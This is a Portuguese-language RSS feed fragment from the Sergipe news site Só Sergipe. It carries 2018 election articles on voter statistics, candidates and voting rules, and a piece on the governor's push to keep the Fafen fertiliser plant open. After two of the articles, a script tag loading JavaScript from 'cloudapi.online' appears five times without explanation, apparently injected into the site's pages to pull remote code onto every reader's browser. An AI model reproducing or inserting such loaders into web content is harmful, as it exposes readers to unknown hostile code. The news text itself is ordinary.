										<content:encoded><![CDATA[<p style="text-align: justify;">Neste domingo, 7, 1.577.058 de pessoas estão aptas a votar em Sergipe para escolherem um presidente, um governador, dois senadores, oito deputados federais e 24 deputados estaduais. Desses mais de 1,5 milhão de eleitores, 832.878 são mulheres e 744.180 homens. Este ano, há um detalhe: existem 76 eleitores transexuais e travestis que vão apresentar o nome social no título eleitoral.</p>
<p style="text-align: justify;">[box type=&#8221;info&#8221; align=&#8221;&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">Pelo menos, nove pessoas concorrem ao cargo de governador do Estado. São eles: Belivaldo Chagas, PSD; Dr. Emerson, Rede; Eduardo Amorim, PSDB; Eduardo Cassini, PSL; Gilvani Santos, PSTU; Márcio Souza, PSOL; Mendonça Prado, DEM; Milton Andrade, PMN; e Valadares Filho, PSB.</p>
<p>[/box]</p>
<p style="text-align: justify;">Para o Senado, são 14 concorrentes, mas somente os dois mais votados assumirão o cargo. Com estes dois, há outros dois suplentes.  Outras 124 pessoas concorrem ao cargo de deputado federal, e somente os oito mais votados serão eleitos. E disputam as 24 cadeiras da Assembleia Legislativa de Sergipe, 335 pessoas. E dentre essas 335, 17 tentam a reeleição.</p>
<p style="text-align: justify;"><strong>Horários e regras</strong> – O eleitor deve ficar atento para o horário de votação: das 8 às 17 horas. E você pode conferir clicando <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://www.tre-se.jus.br/eleitor/titulo-e-local-de-votacao/titulo-e-local-de-votacao">aqui</a></span>, qual a sua seção eleitoral.  Essa semana, também, o Só Sergipe publicou uma matéria da Agência Brasil explicando o que é e o que não é permitido para o eleitor nesse domingo. Se você tem dúvida, quer rever algum detalhe, basta clicar <span style="color: #0000ff;"><a style="color: #0000ff;" href="https://www.sosergipe.com.br/tudo-que-voce-precisa-saber-para-votar-numa-boa/">aqui.</a></span></p>
<p style="text-align: justify;">Nesse período de campanha eleitoral, o Só Sergipe entrevistou os candidatos a governador de Sergipe mais bem pontuados nas pesquisas de intenção de voto. Foram eles <span style="color: #0000ff;"><a style="color: #0000ff;" href="https://www.sosergipe.com.br/temos-que-fazer-com-que-a-maquina-funcione-diz-mendonca-prado/">Mendonça Prado</a>, <a style="color: #0000ff;" href="https://www.sosergipe.com.br/a-rede-so-acolhe-fichas-limpas-cacadores-de-corruptos/">Dr. Emerson</a>,</span> <a href="https://www.sosergipe.com.br/nosso-governo-representa-melhor-sergipe/"><span style="color: #0000ff;">Belivaldo Chagas,</span></a> <a href="https://www.sosergipe.com.br/nos-e-que-somos-a-verdadeira-oposicao/"><span style="color: #0000ff;">Eduardo</span> <span style="color: #0000ff;">Amorim</span></a> e <span style="color: #0000ff;"><a style="color: #0000ff;" href="https://www.sosergipe.com.br/meu-foco-e-recuperar-sergipe-diz-valadares-filho/">Valadares Filho</a>.</span> Você pode reler as entrevistas clicando no nome dos candidatos.</p>
<p style="text-align: justify;">No Brasil, há 14 candidatos a presidente da República e uma delas, Vera Lúcia (PSTU) foi entrevistada aqui no portal ainda na condição de pré-candidata. Para reler a entrevista clique<span style="color: #0000ff;"><a style="color: #0000ff;" href="https://www.sosergipe.com.br/sergipe-tera-candidata-a-presidente-da-republica/"> aqui.</a></span></p>
<p style="text-align: justify;">Os números dos demais candidatos no Brasil são  os seguintes: 202 candidatos a governador, para 27 vagas; 358 a senador, para 54 vagas; 8.590 candidatos a deputados federais, para 513 vagas; 17.942 candidatos a deputados estaduais, para 1.035 vagas; e 981 candidatos a deputados distritais, para 24 vagas. O leitor pode checar no <span style="color: #0000ff;"><a style="color: #0000ff;" href="http://www.tse.jus.br/eleicoes/estatisticas/estatisticas-eleitorais">site no TSE a proporção de candidato por vaga.</a></span></p>
<p style="text-align: justify;">Em todo país, são 147.302.357 eleitores, distribuídos pelos 5.570 municípios do país, bem como em 171 localidades de 110 países no exterior. As informações do eleitorado dizem respeito aos cidadãos brasileiros aptos a votar no pleito deste ano.</p>
<p style="text-align: justify;">As estatísticas da Justiça Eleitoral mostram que houve um aumento do eleitorado de 3,14% em relação às últimas eleições gerais realizadas no país, em 2014. Naquele ano, 142.822.046 brasileiros estavam em condição de votar.</p>
<p style="text-align: justify;"><strong>Faixa etária</strong> &#8211; De acordo com as estatísticas da Justiça Eleitoral, a faixa etária com o maior quantitativo de eleitores no país é a que reúne cidadãos entre 45 e 59 anos de idade. Eles somam 35.742.439 brasileiros, o que corresponde a 24,26% do eleitorado nacional. Em seguida, estão os eleitores de 25 a 34 anos, que reúnem 31.149.869 pessoas – 21,15 % do total de eleitores.</p>
<p style="text-align: justify;"><strong>Voto facultativo</strong> &#8211; Os jovens de 16 e 17 anos representam 0,95% do eleitorado em 2018, num total de 1.400.617 pessoas. Esse número refere-se ao quantitativo de eleitores que, nesse domingo, quando ocorre o primeiro turno das Eleições Gerais 2018, ainda estarão nessa faixa etária, e, portanto, poderão exercer seu direito facultativo ao voto. Os dados apontam uma redução de 14,53% no número de jovens eleitores, uma vez que, em 2014, foram registrados 1.638.751 eleitores nessa faixa etária.</p>
<p style="text-align: justify;">Já os eleitores acima de 70 anos, que também têm voto facultativo, são mais numerosos que há quatro anos.  Em 2018, 12.028.495 eleitores nessa idade podem exercer o direito de escolher seus representantes – um aumento de 11,12% em comparação às eleições de 2014, quando 10.824.810 eleitores idosos podiam votar.</p>
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			</item>
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		<title>Tudo que você precisa saber para votar numa boa!!</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Fri, 05 Oct 2018 14:29:35 +0000</pubDate>
				<category><![CDATA[Nacional]]></category>
		<category><![CDATA[Política nacional]]></category>
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		<category><![CDATA[votação]]></category>
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					<description><![CDATA[<p>No dia 7 de outubro, os brasileiros vão às urnas escolher o próximo presidente da República, governadores de estados e do Distrito Federal e os integrantes do Poder Legislativo federal, estadual e distrital. As Eleições 2018 movimentarão 147.306.275 de eleitores e quase 27 mil candidatos disputando cargos eletivos em todo o país. As seções estarão [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">No dia 7 de outubro, os brasileiros vão às urnas escolher o próximo presidente da República, governadores de estados e do Distrito Federal e os integrantes do Poder Legislativo federal, estadual e distrital. As Eleições 2018 movimentarão 147.306.275 de eleitores e quase 27 mil candidatos disputando cargos eletivos em todo o país. As seções estarão abertas das 8h às 17h, período em que o eleitor deve comparecer em sua seção eleitoral levando um documento oficial com foto e o título de eleitor. Nele constam informações sobre a zona eleitoral e a seção onde o cidadão está inscrito para votar.</p>
<p style="text-align: justify;">Para quem perdeu o documento, a informação pode ser obtida no <a href="http://www.tse.jus.br/eleitor/servicos/titulo-de-eleitor/pre-atendimento-eleitoral-titulo-net"><strong><span style="color: #0000ff;">Portal do TSE</span></strong></a>, no menu “Eleitor e eleições” &gt; “Serviços ao eleitor”. Na lista, clique em “<strong><span style="color: #0000ff;"><a style="color: #0000ff;" href="http://www.tse.jus.br/eleitor/servicos/titulo-de-eleitor/pre-atendimento-eleitoral-titulo-net">Título de Eleitor</a></span></strong>” e, em seguida, faça a consulta pelo “nome do eleitor” ou “número do título eleitoral”. Quem fez a identificação biométrica poderá optar por usar o e-Título, aplicativo desenvolvido pela Justiça Eleitoral que substitui o título de eleitor de papel. O e-Título também pode ser baixado por quem não passou pela biometria, mas, nesse caso, permanece a exigência da apresentação de documento oficial contendo foto. O e-Título pode ser baixado na <strong><span style="color: #0000ff;"><a style="color: #0000ff;" href="https://play.google.com/store/apps/details?id=br.jus.tse.eleitoral.etitulo&amp;hl=en_US">Google Play</a></span></strong>e na <strong><span style="color: #0000ff;"><a style="color: #0000ff;" href="https://itunes.apple.com/br/app/e-t%C3%ADtulo/id1320338088?mt=8">App Store</a>.</span></strong></p>
<p style="text-align: justify;"><strong><span style="color: #0000ff;"><a style="color: #0000ff;" href="https://www.youtube.com/watch?v=wVJNnjflNfA&amp;list=PLljYw1P54c4xojryogQuHl7qKsBhszjHV&amp;t=0s&amp;index=5">Confira vídeo com os documentos que se deve ter à mão no dia do pleito.</a></span></strong></p>
<p style="text-align: justify;"><strong> </strong><strong>Votação</strong></p>
<p style="text-align: justify;">O eleitor precisa estar atento porque, nas eleições deste ano, a ordem de votação nos candidatos mudou. A primeira escolha será a de candidatos a deputado federal. Para definir o representante na Câmara Federal, o eleitor deve digitar quatro números, conferir o voto e apertar a tecla “Confirma”. Em seguida, o eleitor definirá quem vai representá-lo na assembleia legislativa estadual ou distrital, no caso do morador do Distrito Federal. Para esse cargo, o eleitor deverá digitar cinco números na urna e, novamente, confirmar seu voto.</p>
<p style="text-align: justify;">A escolha seguinte é de senadores. Como o Senado terá uma renovação de 2/3 de seus integrantes, neste ano o eleitor deve escolher dois candidatos. No caso, será necessário digitar três números na urna e apertar a tecla “Confirma” para votar para a primeira vaga. O mesmo processo deve ser repetido para a escolha do segundo candidato. Mas o eleitor deve estar atento. Caso seja digitado na urna o mesmo voto para senador duas vezes, o segundo será anulado. A definição do candidato a governador ocorre na sequência, com a marcação de dois números seguida do confirma. A conclusão do voto ocorre com escolha do candidato à Presidência, também com a digitação de dois dígitos e a tecla confirma.</p>
<p style="text-align: justify;"><strong><span style="color: #0000ff;"><a style="color: #0000ff;" href="https://www.youtube.com/watch?v=0TDNv6OvMDo&amp;index=6&amp;list=PLljYw1P54c4xojryogQuHl7qKsBhszjHV&amp;t=0s">Confira vídeo com o passo a passo para votar</a></span></strong></p>
<p style="text-align: justify;"><strong>[box type=&#8221;info&#8221; align=&#8221;alignright&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</strong></p>
<p style="text-align: justify;"><strong>Cola</strong></p>
<p style="text-align: justify;">Ao final do processo de votação, o eleitor terá escolhido seis candidatos e acionado as teclas da urna eletrônica 25 vezes. Devido à quantidade de opções, a Justiça Eleitoral recomenda que o eleitor prepare uma lista com o número dos candidatos que pretende votar. Para ajudar, a Justiça Eleitoral disponibiliza a chamada <strong><span style="color: #0000ff;">“<a style="color: #0000ff;" href="http://bit.ly/ColaEleitoral">cola eleitoral</a>”</span></strong>, que vai impedir que o eleitor se confunda ou esqueça algum número.</p>
<p style="text-align: justify;">O site do TSE conta ainda com um <strong><span style="color: #0000ff;"><a style="color: #0000ff;" href="http://www.tse.jus.br/eleicoes/eleicoes-2018/simulador-de-votacao-na-urna-eletronica">simulador da urna eletrônica</a></span></strong>, onde o eleitor pode praticar o voto. A urna eletrônica também possui a tecla “Corrige”, que permite ao eleitor modificar o voto caso detecte algum erro.</p>
<p><strong>[/box]</strong></p>
<p style="text-align: justify;"><strong> </strong><strong>Legenda</strong></p>
<p style="text-align: justify;">O eleitor também pode optar por votar apenas no partido no caso das eleições legislativas (eleições proporcionais). É o chamado <em>voto de legenda</em>. Para isso, o eleitor deve digitar somente os dois números que identificam o partido. Antes da confirmação do voto, a urna apresentará a informação do respectivo partido e mensagem alertando ao eleitor que, se confirmado o voto, ele será computado para a legenda. Dessa forma, o eleitor ajuda o partido de sua preferência a conquistar mais vagas no legislativo, sem escolher um candidato específico para preenchê-la.</p>
<p style="text-align: justify;"><strong> </strong><strong>Campanha</strong></p>
<p style="text-align: justify;">Para orientar os eleitores, o Tribunal Superior Eleitoral (TSE) lançou a <strong><span style="color: #0000ff;"><a style="color: #0000ff;" href="https://www.youtube.com/playlist?list=PLljYw1P54c4xojryogQuHl7qKsBhszjHV">Campanha Informativa Eleições 2018</a></span></strong>, que permanece no ar até o dia 28 de outubro. Por meio de um filme para TV, <em>spot</em> de rádio e peças gráficas e audiovisuais para as redes sociais do TSE (Facebook, Instagram, Twitter e posts no Google), a campanha orienta a respeito do horário de funcionamento das seções eleitorais, dos documentos que devem ser apresentados e de como obter a justificativa eleitoral. As peças também alertam sobre as principais condutas vedadas no dia da eleição, como a boca de urna e o uso de celulares na cabina de votação.</p>
<p style="text-align: justify;"><strong> [box type=&#8221;shadow&#8221; align=&#8221;&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</strong></p>
<p style="text-align: justify;"><strong>O que é permitido no dia da eleição</strong></p>
<p style="text-align: justify;">No dia da votação, é permitida a manifestação individual e silenciosa de apoio ao partido e/ou candidato de sua preferência. Entretanto, não é permitido utilizar vestuário padronizado, bandeiras, broches nem adesivos que caracterizem manifestação coletiva.</p>
<p style="text-align: justify;">Na cabina de votação, é proibido portar aparelho de telefonia celular, máquinas fotográficas, filmadoras, equipamento de radiocomunicação ou quaisquer instrumentos que possam comprometer o sigilo do voto. Esses aparelhos devem ficar retidos com o mesário enquanto o eleitor vota.</p>
<p style="text-align: justify;">Para votar, o eleitor com deficiência ou mobilidade reduzida poderá contar com o auxílio de pessoa de sua confiança, ainda que não tenha feito o pedido antecipadamente ao juiz eleitoral.</p>
<p><strong>[/box]</strong></p>
<p style="text-align: justify;">Fonte: TSE</p>
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		<title>TSE registra mais de 23 mil candidatos nas eleições de 2018</title>
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		<dc:creator><![CDATA[Só Sergipe]]></dc:creator>
		<pubDate>Thu, 16 Aug 2018 11:49:44 +0000</pubDate>
				<category><![CDATA[Política nacional]]></category>
		<category><![CDATA[candidatos]]></category>
		<category><![CDATA[dados]]></category>
		<category><![CDATA[deputados estaduais]]></category>
		<category><![CDATA[Deputados federais]]></category>
		<category><![CDATA[eleições]]></category>
		<category><![CDATA[governador]]></category>
		<category><![CDATA[Justiça Eleitoral]]></category>
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					<description><![CDATA[<p>Mais de 23 mil candidatos a presidente, governador, senador e deputado federal, estadual e distrital vão disputar os votos de 147,3 milhões de eleitores brasileiros, segundo dados disponíveis no portal do Tribunal Superior Eleitoral (TSE). Encerrado o prazo para registrar as candidaturas, 13 nomes se apresentaram para disputar o Palácio do Planalto em outubro. Para governador, segundo [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<div style="text-align: justify;">Mais de 23 mil candidatos a presidente, governador, senador e deputado federal, estadual e distrital vão disputar os votos de 147,3 milhões de eleitores brasileiros, segundo dados disponíveis no portal do Tribunal Superior Eleitoral (TSE). Encerrado o prazo para registrar as candidaturas, <a href="http://agenciabrasil.ebc.com.br/politica/noticia/2018-08/prazo-termina-e-todos-os-13-candidatos-se-registram-no-tse" target="_blank" rel="noopener">13 nomes</a> se apresentaram para disputar o Palácio do Planalto em outubro.</div>
<p style="text-align: justify;">Para governador, segundo a última atualização do Sistema de Divulgação de Candidaturas e de Prestação de Contas, 171 candidatos pediram registro. Desses, 17 disputam a reeleição. O PSOL foi o partido que lançou o maior número de candidatos a governador, seguido do PSTU e do PT.</p>
<p style="text-align: justify;">[box type=&#8221;info&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">O TSE contabiliza até agora 6.982 candidatos para disputar as 513 vagas de deputado federal. Para deputado estadual e distrital, são 15.605 concorrentes a 1.059 vagas nas assembleias legislativas e na Câmara Legislativa do Distrito Federal. Mais 295 concorrem a 54 cadeiras no Senado.</p>
<p style="text-align: justify;">Considerando o total de 23.812 candidatos a todos os cargos em disputa nas eleições<span id="OBJ_PREFIX_DWT143_com_zimbra_date" role="link"> de outubro</span>, o PSL foi o partido que apresentou o maior número de concorrentes (1.259), seguido do PSOL (1.201), do PT (1.075) e do MDB (1.009). Desse contingente, 30,6% são mulheres, cumprindo a meta prevista na legislação.</p>
<p>[/box]</p>
<p style="text-align: justify;">Quase a metade dos candidatos têm ensino superior e 55% são casados. A maioria tem entre 35 e 59 anos de idade, mas há 50 candidatos na faixa de 80 a 84 anos.</p>
<p style="text-align: justify;">O total de candidatos em 2018 é menor que o registrado em <span id="OBJ_PREFIX_DWT144_com_zimbra_phone" role="link">2014 (26.162</span>). Os dados podem sofrer ajustes conforme a Justiça Eleitoral vá julgando os pedidos de registro.</p>
<p>Fonte: Agência Brasil</p>
<p>&nbsp;</p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
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		<title>Governador discute sobre permanência da Fafen em Sergipe</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Wed, 25 Jul 2018 15:11:44 +0000</pubDate>
				<category><![CDATA[Negócios]]></category>
		<category><![CDATA[Política]]></category>
		<category><![CDATA[bancada]]></category>
		<category><![CDATA[Belivaldo]]></category>
		<category><![CDATA[deputado federal]]></category>
		<category><![CDATA[Fafen]]></category>
		<category><![CDATA[fechamento]]></category>
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		<category><![CDATA[governador]]></category>
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		<category><![CDATA[tecnologia]]></category>
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					<description><![CDATA[<p>O governador Belivaldo Chagas está reunido com o deputado federal Laércio Oliveira e o secretário de Estado do Desenvolvimento e Ciência e Tecnologia José Augusto Pereira, para realizar os encaminhamentos dos estudos realizados pelo grupo de trabalho, que foi formado pelo Governo do Estado, em relação a viabilidade da permanência da Fafen, localizada no município [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;">O governador Belivaldo Chagas está reunido com o deputado federal Laércio Oliveira e o secretário de Estado do Desenvolvimento e Ciência e Tecnologia José Augusto Pereira, para realizar os encaminhamentos dos estudos realizados pelo grupo de trabalho, que foi formado pelo Governo do Estado, em relação a viabilidade da permanência da Fafen, localizada no município de Laranjeiras.</p>
<p style="text-align: justify;">Ficou acertado que o deputado Laércio Oliveira será o portador do documento para os demais membros (deputados federais e senadores) da bancada federal de Sergipe.</p>
<p style="text-align: justify;">No mês passado, o governador Belivaldo Chagas recebeu prefeitos, vereadores, trabalhadores, lideranças e familiares que solicitaram ações para evitar o fechamento da sede da Petrobrás em Sergipe.</p>
<p style="text-align: justify;">Na época, o governador assinou um decreto instituindo um grupo executivo que irá apresentar alternativas ao fechamento da fábrica, estabelecendo um canal de interlocução entre o Governo, Petrobrás e a prefeitura de Laranjeiras.</p>
<p style="text-align: justify;">[box type=&#8221;shadow&#8221; align=&#8221;&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">Belivaldo Chagas afirma que tem se empenhado para evitar o fechamento da instituição para garantir os empregos dos funcionários, e agora, solicita reforço da bancada Federal em Brasília e atenção da Petrobrás. &#8220;O governo do Estado fez esse grupo de trabalho que realizou um estudo profundo sobre a viabilidade da permanência da Fafen em Sergipe. Agora vamos nos engajar com as forças políticas de Sergipe, e da Bahia, que também está nessa luta para manter a fábrica de lá, para que a<a href="https://www.sosergipe.com.br/governador-cria-grupo-executivo-para-discutir-fafen/"> Fafen</a> continue em operação&#8221;, ressalta.</p>
<p>[/box]</p>
<p>Leia também:</p>
<p><em><a href="https://www.sosergipe.com.br/fafen-tera-sobrevida-de-120-dias/">Fafen poderá fechar as portas em junho</a></em></p>
<p>&nbsp;</p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
<p>O post <a href="https://teste.sosergipe.com.br/governador-discute-sobre-permanencia-fafen-sergipe/">Governador discute sobre permanência da Fafen em Sergipe</a> apareceu primeiro em <a href="https://teste.sosergipe.com.br">Só Sergipe</a>.</p>
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